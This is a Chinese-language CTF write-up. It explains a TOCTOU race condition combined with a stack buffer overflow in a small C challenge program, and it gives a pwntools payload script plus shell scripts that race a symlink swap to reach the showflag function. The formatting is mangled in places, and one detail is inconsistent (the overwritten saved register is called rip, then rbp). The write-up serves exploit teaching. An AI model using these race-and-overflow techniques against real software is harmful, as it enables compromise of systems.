源代码

源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
void showflag() { system("cat flag"); }
void vuln(char *file, char *buf) {
int number;
int index = 0;
int fd = open(file, O_RDONLY);
if (fd == -1) {
perror("open file failed!!");
return;
}
while (1) {
number = read(fd, buf + index, 128);
if (number <= 0) {
break;
}
index += number;
}
buf[index + 1] = '\x00';
}
void check(char *file) {
struct stat tmp;
if (strcmp(file, "flag") == 0) {
puts("file can not be flag!!");
exit(0);
}
stat(file, &tmp);
if (tmp.st_size > 255) {
puts("file size is too large!!");
exit(0);
}
}
int main(int argc, char *argv[argc]) {
char buf[256];
if (argc == 2) {
check(argv[1]);
vuln(argv[1], buf);
} else {
puts("Usage ./prog <filename>");
}
return 0;
}

一、先明确漏洞的核心本质(官方思路的前提)

程序看似做了两层防护:

  1. 禁止直接传入flag作为参数;

  2. 检查文件大小≤255(匹配

    1
    buf[256]

    的容量);

    但防护的致命缺陷是:

    “检查文件大小” 和 “读取文件内容” 是两个独立操作,中间有时间窗口

    (TOCTOU 漏洞)。

官方思路的核心就是:利用这个时间窗口,替换文件为更大的恶意文件,突破大小限制触发栈溢出,最终执行showflag函数拿 flag。

二、官方思路的完整逻辑拆解

1. 第一步:构造栈溢出 Payload(payload.py)

1
2
3
4
5
from pwn import *
test = ELF('./test')
# 构造攻击载荷
payload = 'a' * 0x100 + 'b' * 8 + p64(test.symbols['showflag'])
open('big', 'w').write(payload)

作用解析:

  • 目标:修改main函数的返回地址,让程序执行showflag()(原本程序不会主动调用这个函数);

  • 各部分含义:

    • 'a' * 0x100:0x100=256字节,刚好填满栈上的buf[256]缓冲区(把缓冲区 “撑满”);
    • 'b' * 8:覆盖栈帧的 “基址指针(rip)”(64 位系统中,rip 占 8 字节,这是栈溢出的 “跳板”);
    • p64(test.symbols['showflag']):将showflag函数的内存地址(8 字节)写入栈上的「返回地址」位置(程序执行完main后,不会返回系统,而是跳转到showflag执行);
  • 最终生成big文件:大小 = 256+8+8=272 字节(超过 255,正常会被check拦截,需靠竞争绕过)。

2. 第二步:制造条件竞争窗口(exp.sh)

1
2
3
4
5
6
7
8
9
#!/bin/sh
for i in `seq 500` # 循环500次,增大命中概率
do
cp small fake # 步骤1:创建合法的fake文件(small是255字节,能通过check)
sleep 0.000008 # 步骤2:精准睡眠8微秒(核心!匹配check→vuln的时间窗口)
rm fake # 步骤3:删除fake
ln -s big fake # 步骤4:将fake替换为指向big的软链接(big是272字节的恶意文件)
rm fake # 步骤5:清理fake,准备下一次循环
done

作用解析:

  • 核心目标:在程序执行check(fake)(检查 small)和vuln(fake)(读取文件)的间隙,把fake换成指向big的软链接;

  • 各步骤的意义:

    • cp small fake:先让fake是合法的小文件,确保程序执行check时能通过(文件大小≤255,不是 flag);

    • sleep 0.000008
      
      1
      2
      3
      4
      5

      整个思路的关键

      !睡眠 8 微秒,刚好等程序完成

      check
      1
      2
      3

      、还没执行

      vuln
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16

      时,替换文件;

      - 睡眠太短:程序还在`check`阶段,`fake`已被换成`big`,触发 “file size is too large!!”;
      - 睡眠太长:程序已执行完`vuln`,读取的还是`small`,无法溢出;



      - `rm fake && ln -s big fake`:删除原`fake`,创建指向`big`的软链接(让程序执行`vuln`时,读取的是`big`);

      - 循环 500 次:单次命中窗口的概率极低(微秒级),循环放大概率。



      #### 3. 第三步:循环触发程序(run.sh)

#!/bin/sh
for i in seq 1000 # 循环1000次,进一步提高命中概率
do
./test fake # 反复执行程序,直到命中竞争窗口
done

1
2
3
4
5
6
7
8
9
10
11

**作用解析**:

- 单独执行一次`./test fake`,几乎不可能命中 8 微秒的时间窗口;
- 循环 1000 次:通过 “暴力尝试”,增大刚好撞上`exp.sh`替换文件的时机;
- 执行过程中出现的错误(`file size is too large!!`/`open failed`)都是正常现象,只有命中窗口时才会输出 flag。

### 三、官方思路的核心技巧(为什么能成功)

1. 时间窗口的精准匹配

sleep 0.000008

1
2
3

是反复调试的 “黄金值”,刚好卡在程序


check
1
2
3

结束、


vuln
1
2
3
4
5
6
7
8
9
10
11
12
13

开始的间隙,这是整个利用的核心;

2. 分层突破防护

- 先用`small`文件突破 “文件大小≤255” 的检查;
- 再用软链接替换,让程序读取`big`文件触发栈溢出;
- 最后用栈溢出修改返回地址,执行`showflag`拿 flag;

3. 概率放大

通过


exp.sh
1
2
3

循环 500 次 +


run.sh


循环 1000 次,把原本微秒级的 “小概率事件” 变成 “大概率事件”。

### 四、总结(官方思路的核心要点)

| 脚本 / 步骤 |               核心目的               |                 关键细节                  |
| :---------: | :----------------------------------: | :---------------------------------------: |
| payload.py  |     构造栈溢出载荷,覆盖返回地址     | 256 字节填充 + 8 字节 rbp + showflag 地址 |
|   exp.sh    |    制造 TOCTOU 时间窗口,替换文件    |   sleep 0.000008(8 微秒)精准匹配窗口    |
|   run.sh    |      循环触发程序,放大命中概率      |      循环 1000 次,暴力尝试命中窗口       |
|  核心漏洞   | check(检查)和 vuln(使用)的时间差 |        软链接替换突破文件大小限制         |
|  最终目标   |    执行 showflag 函数,输出 flag     |        栈溢出修改 main 的返回地址         |

这套思路是 CTF 中 “条件竞争 + 栈溢出” 组合漏洞的经典利用方式,核心是**精准匹配时间窗口** + **栈溢出控制程序执行流**,也是这类漏洞利用的通用模板。